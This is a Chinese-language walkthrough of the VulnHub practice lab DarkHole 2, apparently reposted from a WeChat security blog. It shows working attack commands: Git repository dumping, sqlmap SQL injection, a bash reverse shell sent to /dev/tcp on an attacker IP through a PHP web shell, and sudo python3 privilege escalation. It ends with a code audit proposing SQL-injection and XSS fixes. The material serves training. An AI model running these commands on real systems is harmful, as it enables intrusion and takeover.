简介
每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
一首歌送给你们,一首歌一攻防一项目!《安和桥》送给大家!
一、网络枚举
发现ip地址:192.168.252.138枚举到端口22、80。
二、web系信息收集
打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接!
右上角有login登陆口!
三、Git源码泄露漏洞
将这个git 库下载下来,-r表示递归下载,然后进入该目录:
wget -r http://192.168.253.129/.git/
cd 192.168.253.129
利用git log命令查看提交过的记录:我们发现在a4d900a这个记录里写着login.php带了一个默认凭证。
使用git reset --hard [log hash]恢复到指定版本号,--hard参数撤销工作区中所有未提交的修改内容,将暂存区与工作区都回到上一次版本,并删除之前的所有信息提交。
git reset --hard a4d900a
查看login.php的内容:
[email protected]
321
看到了邮箱账号密码,然后在网页端登录。
四、SQL注入
登录后如下图,网址中id可能参数存在SQL注入:加上一个单引号后,页面变白,说明应该存在SQL注入漏洞:
sqlmap跑起来:
sqlmap -u "http://192.168.253.129/dashboard.php?id=1" --cookie=PHPSESSID="6s0vbeadvi3jf11780rpppdfjs" --dbs --batch
发现了数据库,看一下darkhole_2库中的表:
sqlmap -u "http://192.168.253.129/dashboard.php?id=1" --cookie=PHPSESSID="6s0vbeadvi3jf11780rpppdfjs" -D darkhole_2 --tables
看看里面数据:
ssh [email protected]
fool
成功登录!
五、远程命令执行漏洞
查看定时任务:
cat /etc/crontab
可以看到运行了一个php服务器在9999端口上,用户为losy,可以尝试去看一下原代码:
发现居然是个一句话木马,反弹shell即可,但是这个连接只能在本地访问,需要做端口转发,命令将目标靶机的本地9999映射到本地9999端口:
ssh -L 9999:127.0.0.1:9999 [email protected]
在浏览器中访问9999端口,传入cmd参数:可以看到,用户为losy,可以反弹一个losy的shell:
bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.253.138/5566%200%3E%261%27
六、提权root权限
在losy用户的.bash_history文件里,可以发现他的密码:
这里需要su进入当前用户去sudo找:
发现可以以root身份执行python3:
sudo python3 -c 'import os; os.system("/bin/bash")'
七、代码审计
查看源码:存在以下风险:1、SQL注入风险
$id= $_GET['id'];
$info= $connect->query("select * from users where id='$id'")->fetch_assoc();
这段代码直接将用户输入的 id 参数拼接到 SQL 查询中,存在 SQL 注入的风险!可以使用参数绑定或者预处理语句来防止 SQL 注入攻击:
$stmt = $connect->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();
$info = $stmt->get_result()->fetch_assoc();
2、XSS 攻击风险
<li><b>Full name</b> <input type="text" name="fname" id="fname" maxlength="100" value="<?php echo $info['username']; ?>" required /> ... </li>
在这里,用户的输入未进行 HTML 转义,可能导致跨站脚本攻击(XSS),对用户输入进行 HTML 转义,确保在页面中显示的内容不会执行任何恶意脚本。使用 htmlspecialchars() 函数:
<li><b>Full name</b> <input type="text" name="fname" id="fname" maxlength="100" value="<?php echo htmlspecialchars($info['username']); ?>" required /> ... </li>
原文始发于微信公众号(大余安全):大余每日一攻防darkhole-2(十五)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论